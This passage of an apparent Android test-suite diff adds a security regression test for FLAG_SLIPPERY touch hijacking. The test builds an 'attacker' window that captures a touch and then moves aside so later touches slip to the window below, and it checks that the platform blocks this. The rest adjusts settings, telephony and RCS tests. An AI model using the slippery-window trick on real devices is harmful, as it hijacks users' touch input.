+    // ========================== Regular window tests =============================================
+
+    private fun addWindow(slipperyWhenAdded: Boolean): View {
+        val view = View(instrumentation.targetContext)
+        scenario.onActivity {
+            view.setOnTouchListener(OnTouchListener(view))
+            view.setBackgroundColor(android.graphics.Color.RED)
+            layoutCompleted.set(false)
+            view.viewTreeObserver.addOnGlobalLayoutListener {
+                layoutCompleted.set(true)
+            }
+
+            if (slipperyWhenAdded) {
+                windowManager.addView(view, slipperyLayoutParams)
+            } else {
+                // Add the window with non-slippery params, and make it slippery via updateLayout
+                windowManager.addView(view, nonSlipperyLayoutParams)
+            }
+        }
+        waitForLayoutToComplete()
+        if (!slipperyWhenAdded) {
+            scenario.onActivity {
+                layoutCompleted.set(false)
+                windowManager.updateViewLayout(view, slipperyLayoutParams)
+            }
+        }
+        waitForLayoutToComplete()
+        PollingCheck.waitFor {
+            view.hasWindowFocus()
+        }
+        return view
+    }
+
+    private fun testWindowIsNotSlippery(slipperyWhenAdded: Boolean) {
+        // Start overlay (attacker) activity
+        // Attacker: create a window that is slippery and will capture the initial DOWN touch event,
+        // then will move itself out of the way, forcing the next MOVE event to go to the bottom
+        // window
+        val topView = addWindow(slipperyWhenAdded)
+        viewToRemove = topView
+        // Inject motion DOWN into the attacking activity. It will cause the activity to move to
+        // bottom right, which will make the next touch slip into the current window
+        assertBottomWindowDoesNotReceiveSlipperyTouch(topView)
+    }
+
+    /**
+     * Test a top window that tries to set FLAG_SLIPPERY when it is added to WindowManager
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [157929241])
+    fun testWindowIsNotSlipperyWhenAdded() {
+        testWindowIsNotSlippery(true /* slipperyWhenAdded */)
+    }
+
+    /**
+     * Test a top window that tries to set FLAG_SLIPPERY during relayout
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [157929241])
+    fun testWindowIsNotSlipperyAfterRelayout() {
+        testWindowIsNotSlippery(false /* slipperyWhenAdded */)
+    }
+
+    // ========================== Embedded window tests ============================================
+    private lateinit var mVr: SurfaceControlViewHost
+
+    private fun addEmbeddedHostWindow(): SurfaceView {
+        val surfaceView = SurfaceView(instrumentation.targetContext)
+        val surfaceCreated = CountDownLatch(1)
+        scenario.onActivity {
+            surfaceView.setZOrderOnTop(true)
+            // The color green should not be visible, but helps debug if there are any layout issues
+            // with the embedded view that will be positioned on top
+            surfaceView.setBackgroundColor(android.graphics.Color.GREEN)
+            surfaceView.viewTreeObserver.addOnGlobalLayoutListener {
+                layoutCompleted.set(true)
+            }
+            surfaceView.getHolder().addCallback(SurfaceCreatedCallback(surfaceCreated))
+            windowManager.addView(surfaceView, slipperyLayoutParams)
+        }
+        waitForLayoutToComplete()
+        surfaceCreated.await()
+        PollingCheck.waitFor {
+            surfaceView.hasWindowFocus()
+        }
+        return surfaceView
+    }
+
+    private fun addEmbeddedView(surfaceView: SurfaceView): View {
+        val embeddedViewDrawn = CountDownLatch(1)
+        val viewDrawnCallback = Runnable {
+            embeddedViewDrawn.countDown()
+        }
+        layoutCompleted.set(false)
+        val embeddedView = View(instrumentation.targetContext)
+        scenario.onActivity {
+            embeddedView.setOnTouchListener(OnTouchListener(surfaceView))
+            embeddedView.setBackgroundColor(android.graphics.Color.RED)
+            embeddedView.viewTreeObserver.addOnGlobalLayoutListener {
+                layoutCompleted.set(true)
+            }
+
+            embeddedView.viewTreeObserver.registerFrameCommitCallback(viewDrawnCallback)
+            mVr = SurfaceControlViewHost(it, it.getDisplay(), surfaceView.getHostToken())
+            mVr.setView(embeddedView, slipperyLayoutParams)
+            surfaceView.setChildSurfacePackage(mVr.getSurfacePackage())
+            embeddedView.invalidate()
+        }
+        embeddedViewDrawn.await()
+        embeddedView.viewTreeObserver.unregisterFrameCommitCallback(viewDrawnCallback)
+        waitForLayoutToComplete()
+        return embeddedView
+    }
+
+    /**
+     * Create an embedded slippery window and ensure it continues to receive touch after it moves
+     * away from the touched position.
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = [157929241])
+    fun testWindowlessWindowIsNotSlippery() {
+        val surfaceView = addEmbeddedHostWindow()
+        viewToRemove = surfaceView
+        // 'embeddedView' variable is used to retain the reference through the end of the test
+        @Suppress("UNUSED_VARIABLE") val embeddedView = addEmbeddedView(surfaceView)
+
+        assertBottomWindowDoesNotReceiveSlipperyTouch(surfaceView)
+    }
+
+    // ========================== Shared utility functions =========================================
+
+    private inner class OnTouchListener(relayoutView: View) : View.OnTouchListener {
+        val relayoutView = relayoutView
+        override fun onTouch(v: View, e: MotionEvent): Boolean {
+            if (e.action == MotionEvent.ACTION_DOWN) {
+                // Move the window out of the way by changing the gravity to bottom right
+                val wmlp = WindowManager.LayoutParams()
+                wmlp.copyFrom(slipperyLayoutParams)
+                wmlp.gravity = Gravity.BOTTOM or Gravity.RIGHT
+                layoutCompleted.set(false)
+                // Cannot always call 'updateViewLayout' for the incoming view, because in the
+                // embedded case, the provided embedded view is not attached to the window manager
+                // (and will therefore crash). Just use the view provided in the constructor.
+                windowManager.updateViewLayout(relayoutView, wmlp)
+                return true
+            }
+            eventsForTopWindow.add(MotionEvent.obtain(e))
+            return true
+        }
+    }
+
+    private fun assertBottomWindowDoesNotReceiveSlipperyTouch(topView: View) {
+        // Inject motion DOWN into the top view / window. It will cause the window to move to
+        // bottom right, which will make the next touch slip into the current window if the top
+        // window is actually slippery
+        val (x, y) = getViewCenterOnScreen(topView)
+        val downTime = SystemClock.uptimeMillis()
+        sendEvent(downTime, MotionEvent.ACTION_DOWN, x, y)
+        waitForLayoutToComplete()
+        sendEvent(downTime, MotionEvent.ACTION_MOVE, x + 1, y + 1)
+        scenario.onActivity {
+            // Bottom activity should not get any events
+            assertNull(it.getEvent())
+            // Top window should continue getting events.
+            assertAction(MotionEvent.ACTION_MOVE, eventsForTopWindow.poll())
+            assertNull(eventsForTopWindow.poll())
+        }
+    }
+
+    /**
+     * Wait until the bottom activity has window focus
+     */
+    private fun waitForWindowFocusOnBottomActivity() {
+        PollingCheck.waitFor {
+            var activityHasWindowFocus = AtomicBoolean(false)
+            scenario.onActivity { activity -> run {
+                    activityHasWindowFocus.set(activity.hasWindowFocus())
+                }
+            }
+            activityHasWindowFocus.get()
+        }
+    }
+
+    private fun waitForLayoutToComplete() {
+        PollingCheck.waitFor {
+            layoutCompleted.get()
+        }
+        instrumentation.uiAutomation.syncInputTransactions(true /*waitAnimations*/)
+    }
+
+    private fun setDimensionsToQuarterScreen() {
+        val bounds: Rect = windowManager.currentWindowMetrics.bounds
+        val width = (bounds.right - bounds.left) / 4
+        val height = (bounds.bottom - bounds.top) / 4
+        slipperyLayoutParams.width = width
+        slipperyLayoutParams.height = height
+        nonSlipperyLayoutParams.width = width
+        nonSlipperyLayoutParams.height = height
+    }
+
+    private fun sendEvent(downTime: Long, action: Int, x: Float, y: Float) {
+        val eventTime = when (action) {
+            MotionEvent.ACTION_DOWN -> downTime
+            else -> SystemClock.uptimeMillis()
+        }
+        val event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0 /*metaState*/)
+        event.source = InputDevice.SOURCE_TOUCHSCREEN
+        instrumentation.uiAutomation.injectInputEvent(event, true /*sync*/)
+    }
+
+    companion object {
+        private val TAG = "FlagSlipperyTest"
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
index f7d3edc..c291ee4 100644
--- a/tests/tests/security/src/android/security/cts/MotionEventTest.java
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -34,10 +34,10 @@
 import android.view.ViewGroup;
 import android.view.WindowManager;
 
-import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.MediumTest;
+import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.WidgetTestUtils;
@@ -226,7 +226,7 @@
     }
 
     private boolean isRunningInVR() {
-        final Context context = InstrumentationRegistry.getTargetContext();
+        final Context context = mInstrumentation.getTargetContext();
         return (context.getResources().getConfiguration().uiMode &
                 Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_VR_HEADSET;
     }
diff --git a/tests/tests/security/src/android/security/cts/SlipperyEnterBottomActivity.kt b/tests/tests/security/src/android/security/cts/SlipperyEnterBottomActivity.kt
new file mode 100644
index 0000000..cf1a2d2
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/SlipperyEnterBottomActivity.kt
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts
+
+import android.app.Activity
+import android.view.MotionEvent
+
+import java.util.concurrent.LinkedBlockingQueue
+import java.util.Queue
+
+class SlipperyEnterBottomActivity : Activity() {
+    companion object {
+        private const val TAG = "SlipperyEnterBottomActivity"
+    }
+    private val eventQueue: Queue<MotionEvent> = LinkedBlockingQueue()
+
+    override fun onTouchEvent(motionEvent: MotionEvent): Boolean {
+        eventQueue.add(MotionEvent.obtain(motionEvent))
+        return true
+    }
+
+    fun getEvent(): MotionEvent? {
+        return eventQueue.poll()
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
index 6342bf4..fb5d621 100644
--- a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
+++ b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
@@ -43,7 +43,9 @@
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.S) {
+        final int firstApiLevel =
+                Math.min(PropertyUtil.getFirstApiLevel(), PropertyUtil.getVendorApiLevel());
+        if (firstApiLevel >= Build.VERSION_CODES.S) {
             // Assumes every test in this file asserts a requirement of CDD section 9.
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     mContext.getPackageManager()
diff --git a/tests/tests/settings/Android.bp b/tests/tests/settings/Android.bp
index 246e3fd..b1a443e 100644
--- a/tests/tests/settings/Android.bp
+++ b/tests/tests/settings/Android.bp
@@ -17,12 +17,20 @@
     static_libs: [
         "androidx.slice_slice-core",
         "androidx.slice_slice-view",
+        "androidx.test.core",
         "ctstestrunner-axt",
         "junit",
+        "kotlin-stdlib",
         "truth-prebuilt",
+        "ctsWindowExtLib",
     ],
 
     srcs: ["src/**/*.java"],
 
     sdk_version: "test_current",
 }
+
+android_library_import {
+    name: "ctsWindowExtLib",
+    aars: ["libs/cts_window_ext_lib.aar"],
+}
diff --git a/tests/tests/settings/AndroidManifest.xml b/tests/tests/settings/AndroidManifest.xml
index 9225b6a..007b36d 100644
--- a/tests/tests/settings/AndroidManifest.xml
+++ b/tests/tests/settings/AndroidManifest.xml
@@ -20,9 +20,20 @@
 
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+    <uses-permission android:name="android.permission.LAUNCH_MULTI_PANE_SETTINGS_DEEP_LINK"/>
 
     <application>
         <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="androidx.window.extensions" android:required="false"/>
+        <uses-library android:name="androidx.window.sidecar" android:required="false"/>
+
+        <activity android:name=".RightPaneActivity"
+                android:exported="true">
+            <intent-filter>
+                <action android:name="android.settings.cts.LAUNCH_RIGHT_PANE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/settings/libs/cts_window_ext_lib.aar b/tests/tests/settings/libs/cts_window_ext_lib.aar
new file mode 100644
index 0000000..ca58b36
--- /dev/null
+++ b/tests/tests/settings/libs/cts_window_ext_lib.aar
Binary files differ
diff --git a/tests/tests/settings/src/android/settings/cts/RightPaneActivity.java b/tests/tests/settings/src/android/settings/cts/RightPaneActivity.java
new file mode 100644
index 0000000..86391e7
--- /dev/null
+++ b/tests/tests/settings/src/android/settings/cts/RightPaneActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.settings.cts;
+
+import android.app.Activity;
+import android.provider.Settings;
+
+/**
+ * For SettingsMultiPaneDeepLinkTest to test if
+ * {@link Settings#ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY}
+ */
+public class RightPaneActivity extends Activity {
+}
diff --git a/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java b/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
new file mode 100644
index 0000000..b6103c8
--- /dev/null
+++ b/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.settings.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.Instrumentation.ActivityMonitor;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.window.embedding.SplitController;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests to ensure the Activity to handle
+ * {@link Settings#ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY}
+ */
+@RunWith(AndroidJUnit4.class)
+public class SettingsMultiPaneDeepLinkTest {
+
+    private static final String DEEP_LINK_PERMISSION =
+            "android.permission.LAUNCH_MULTI_PANE_SETTINGS_DEEP_LINK";
+
+    boolean mIsSplitSupported;
+    ResolveInfo mDeepLinkIntentResolveInfo;
+
+    @Before
+    public void setUp() throws Exception {
+        // runOnMainSync or SplitController#isSplitSupported will return wrong value for large
+        // screen devices.
+        InstrumentationRegistry.getInstrumentation().runOnMainSync(new Runnable() {
+            @Override
+            public void run() {
+                mIsSplitSupported = SplitController.getInstance().isSplitSupported();
+            }
+        });
+        mDeepLinkIntentResolveInfo = InstrumentationRegistry.getInstrumentation().getContext()
+                .getPackageManager().resolveActivity(
+                new Intent(Settings.ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY),
+                /* flags= */ PackageManager.MATCH_DEFAULT_ONLY);
+
+        assumeFalse("Skipping test: The device does not support Activity embedding",
+                !mIsSplitSupported && mDeepLinkIntentResolveInfo == null);
+    }
+
+    @Test
+    public void deepLinkHomeActivity_protectedWithPermission() throws Exception {
+        assertTrue("The Activity to handle the Intent ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY must"
+                + " be protected by " + DEEP_LINK_PERMISSION,
+                DEEP_LINK_PERMISSION.equals(mDeepLinkIntentResolveInfo.activityInfo.permission));
+    }
+
+    @Test
+    public void deepLinkHomeActivity_splitSupported_deepLinkHomeEnabled() throws Exception {
+        assumeTrue(mIsSplitSupported);
+
+        assertTrue("The Activity to handle the Intent ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY must"
+                + " be enabled when the device supports Activity embedding",
+                mDeepLinkIntentResolveInfo != null);
+    }
+
+    @Test
+    public void deepLinkHomeActivity_splitNotSupported_deepLinkHomeDisabled() throws Exception {
+        assumeFalse(mIsSplitSupported);
+
+        assertTrue("The Activity to handle the Intent ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY must"
+                + " be disabled when the device does NOT support Activity embedding",
+                mDeepLinkIntentResolveInfo == null);
+    }
+
+    @Test
+    public void deepLinkHomeActivity_receiveMultiPaneDeepLinkIntent_shouldStartActivity()
+                throws Exception {
+        Intent intent = new Intent(Settings.ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY);
+        intent.putExtra(Settings.EXTRA_SETTINGS_EMBEDDED_DEEP_LINK_INTENT_URI,
+                new Intent("android.settings.cts.LAUNCH_RIGHT_PANE")
+                .toUri(Intent.URI_INTENT_SCHEME));
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        ActivityMonitor am = instrumentation.addMonitor(RightPaneActivity.class.getName(),
+                /* result */ null, /* block */ false);
+
+        // Take the Shell UID permission identity because Shell app has the permission
+        // android.permission.LAUNCH_MULTI_PANE_SETTINGS_DEEP_LINK.
+        instrumentation.getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            instrumentation.getContext()
+                    .startActivity(intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+        } finally {
+            // Drop the Shell UID permission identity.
+            instrumentation.getUiAutomation().dropShellPermissionIdentity();
+        }
+
+        Activity rightPaneActivity = am.waitForActivityWithTimeout(5000);
+        assertNotNull("The Activity to handle the Intent ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY"
+                + " must start Activity for EXTRA_SETTINGS_EMBEDDED_DEEP_LINK_INTENT_URI",
+                rightPaneActivity);
+        rightPaneActivity.finish();
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java b/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java
index 52ef750..cb2ecd5 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java
@@ -32,6 +32,8 @@
 import android.os.Bundle;
 import android.telecom.TelecomManager;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
@@ -107,7 +109,11 @@
                 TelecomManager.TTY_MODE_FULL);
 
         try {
-            runWithShellPermissionIdentity(() -> mContext.sendBroadcast(changePreferredTtyMode));
+            // Hold SHELL permission identity to ensure CTS tests have READ_PRIVILEGED_PHONE_STATE
+            // during delivery of ACTION_CURRENT_TTY_MODE_CHANGED.
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity();
+            mContext.sendBroadcast(changePreferredTtyMode);
             Intent intent = ttyModeQueue.poll(
                     TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
             assertTrue(intent.hasExtra(TelecomManager.EXTRA_CURRENT_TTY_MODE));
@@ -120,7 +126,9 @@
                     new Intent(TelecomManager.ACTION_TTY_PREFERRED_MODE_CHANGED);
             revertPreferredTtyMode.putExtra(TelecomManager.EXTRA_TTY_PREFERRED_MODE,
                     TelecomManager.TTY_MODE_OFF);
-            runWithShellPermissionIdentity(() -> mContext.sendBroadcast(revertPreferredTtyMode));
+            mContext.sendBroadcast(revertPreferredTtyMode);
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
         }
     }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 740a0c7..722cdae 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -1973,14 +1973,16 @@
         }
         String[] originalFplmns = mTelephonyManager.getForbiddenPlmns();
         try {
-            int numFplmnsSet = mTelephonyManager.setForbiddenPlmns(FPLMN_TEST);
+            int numFplmnsSet = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(FPLMN_TEST));
             String[] writtenFplmns = mTelephonyManager.getForbiddenPlmns();
             assertEquals("Wrong return value for setFplmns with less than required fplmns: "
                     + numFplmnsSet, FPLMN_TEST.size(), numFplmnsSet);
             assertEquals("Wrong Fplmns content written", FPLMN_TEST, Arrays.asList(writtenFplmns));
         } finally {
             // Restore
-            mTelephonyManager.setForbiddenPlmns(Arrays.asList(originalFplmns));
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(Arrays.asList(originalFplmns)));
         }
     }
 
@@ -2002,7 +2004,8 @@
             for (int i = MIN_FPLMN_NUM; i < MAX_FPLMN_NUM; i++) {
                 targetFplmns.add(PLMN_B);
             }
-            int numFplmnsSet = mTelephonyManager.setForbiddenPlmns(targetFplmns);
+            int numFplmnsSet = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(targetFplmns));
             String[] writtenFplmns = mTelephonyManager.getForbiddenPlmns();
             assertTrue("Wrong return value for setFplmns with overflowing fplmns: " + numFplmnsSet,
                     numFplmnsSet < MAX_FPLMN_NUM);
@@ -2012,7 +2015,8 @@
                     Arrays.asList(writtenFplmns));
         } finally {
             // Restore
-            mTelephonyManager.setForbiddenPlmns(Arrays.asList(originalFplmns));
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(Arrays.asList(originalFplmns)));
         }
     }
 
@@ -2031,19 +2035,22 @@
             for (int i = 0; i < MIN_FPLMN_NUM; i++) {
                 targetDummyFplmns.add(PLMN_A);
             }
-            mTelephonyManager.setForbiddenPlmns(targetDummyFplmns);
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(targetDummyFplmns));
             String[] writtenDummyFplmns = mTelephonyManager.getForbiddenPlmns();
             assertEquals(targetDummyFplmns, Arrays.asList(writtenDummyFplmns));
 
             List<String> targetFplmns = new ArrayList<>();
-            int numFplmnsSet = mTelephonyManager.setForbiddenPlmns(targetFplmns);
+            int numFplmnsSet = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(targetFplmns));
             String[] writtenFplmns = mTelephonyManager.getForbiddenPlmns();
             assertEquals("Wrong return value for setFplmns with empty list", 0, numFplmnsSet);
             assertEquals("Wrong number of Fplmns written", 0, writtenFplmns.length);
             // TODO wait for 10 minutes or so for the FPLMNS list to grow back
         } finally {
             // Restore
-            mTelephonyManager.setForbiddenPlmns(Arrays.asList(originalFplmns));
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(Arrays.asList(originalFplmns)));
         }
     }
 
@@ -2058,12 +2065,14 @@
         }
         String[] originalFplmns = mTelephonyManager.getForbiddenPlmns();
         try {
-            mTelephonyManager.setForbiddenPlmns(null);
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(null));
             fail("Expected IllegalArgumentException. Null input is not allowed");
         } catch (IllegalArgumentException expected) {
         } finally {
             // Restore
-            mTelephonyManager.setForbiddenPlmns(Arrays.asList(originalFplmns));
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setForbiddenPlmns(Arrays.asList(originalFplmns)));
         }
     }
 
@@ -3324,6 +3333,19 @@
                 TelephonyManager.SIM_STATE_NOT_READY,
                 TelephonyManager.SIM_STATE_PERM_DISABLED,
                 TelephonyManager.SIM_STATE_LOADED).contains(simApplicationState));
+
+        for (int i = 0; i <= mTelephonyManager.getPhoneCount(); i++) {
+            final int slotId = i;
+            simApplicationState = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.getSimApplicationState(slotId));
+            assertTrue(Arrays.asList(TelephonyManager.SIM_STATE_UNKNOWN,
+                    TelephonyManager.SIM_STATE_PIN_REQUIRED,
+                    TelephonyManager.SIM_STATE_PUK_REQUIRED,
+                    TelephonyManager.SIM_STATE_NETWORK_LOCKED,
+                    TelephonyManager.SIM_STATE_NOT_READY,
+                    TelephonyManager.SIM_STATE_PERM_DISABLED,
+                    TelephonyManager.SIM_STATE_LOADED).contains(simApplicationState));
+        }
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java
index b20ea16..ea46c9b 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java
@@ -160,11 +160,9 @@
             // the CarrierConfig override (as it will override the existing shell permissions).
             if (isShell) {
                 configManager.overrideConfig(subId, carrierConfigs);
-                configManager.notifyConfigChangedForSubId(subId);
             } else {
                 runWithShellPermissionIdentity(() -> {
                     configManager.overrideConfig(subId, carrierConfigs);
-                    configManager.notifyConfigChangedForSubId(subId);
                 }, android.Manifest.permission.MODIFY_PHONE_STATE);
             }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
index 3a63d1d..d4386ff 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
@@ -818,6 +818,8 @@
             } finally {
                 errorQueue.clear();
                 retryAfterQueue.clear();
+                removeTestContactFromEab();
+                removeUceRequestDisallowedStatus();
             }
 
             requestAvailability(uceAdapter, sTestNumberUri, callback);
@@ -831,6 +833,8 @@
             } finally {
                 errorQueue.clear();
                 retryAfterQueue.clear();
+                removeTestContactFromEab();
+                removeUceRequestDisallowedStatus();
             }
 
             /*
@@ -854,6 +858,8 @@
             } finally {
                 errorQueue.clear();
                 retryAfterQueue.clear();
+                removeTestContactFromEab();
+                removeUceRequestDisallowedStatus();
             }
 
             requestAvailability(uceAdapter, sTestNumberUri, callback);
@@ -867,6 +873,8 @@
             } finally {
                 errorQueue.clear();
                 retryAfterQueue.clear();
+                removeTestContactFromEab();
+                removeUceRequestDisallowedStatus();
             }
         });
 
@@ -888,6 +896,8 @@
         } finally {
             errorQueue.clear();
             retryAfterQueue.clear();
+            removeTestContactFromEab();
+            removeUceRequestDisallowedStatus();
         }
 
         requestCapabilities(uceAdapter, numbers, callback);
@@ -902,6 +912,8 @@
         } finally {
             errorQueue.clear();
             retryAfterQueue.clear();
+            removeTestContactFromEab();
+            removeUceRequestDisallowedStatus();
         }
 
         overrideCarrierConfig(null);
@@ -975,22 +987,38 @@
         });
 
         requestCapabilities(uceAdapter, contacts, callback);
+        List<RcsContactUceCapability> resultCapList = new ArrayList<>();
 
         // Verify that all the three contact's capabilities are received
         RcsContactUceCapability capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact1, capability);
-        verifyCapabilityResult(capability, contact1, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                true, true);
+        assertNotNull("Capabilities were not received for contact", capability);
+        resultCapList.add(capability);
 
         capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact2, capability);
-        verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                true, false);
+        assertNotNull("Capabilities were not received for contact", capability);
+        resultCapList.add(capability);
 
         capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact3, capability);
-        verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                false, false);
+        assertNotNull("Capabilities were not received for contact", capability);
+        resultCapList.add(capability);
+
+        // Verify the first contact capabilities from the received capabilities list
+        RcsContactUceCapability resultCapability = getContactCapability(resultCapList, contact1);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, true, true);
+
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact2);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, true, false);
+
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact3);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
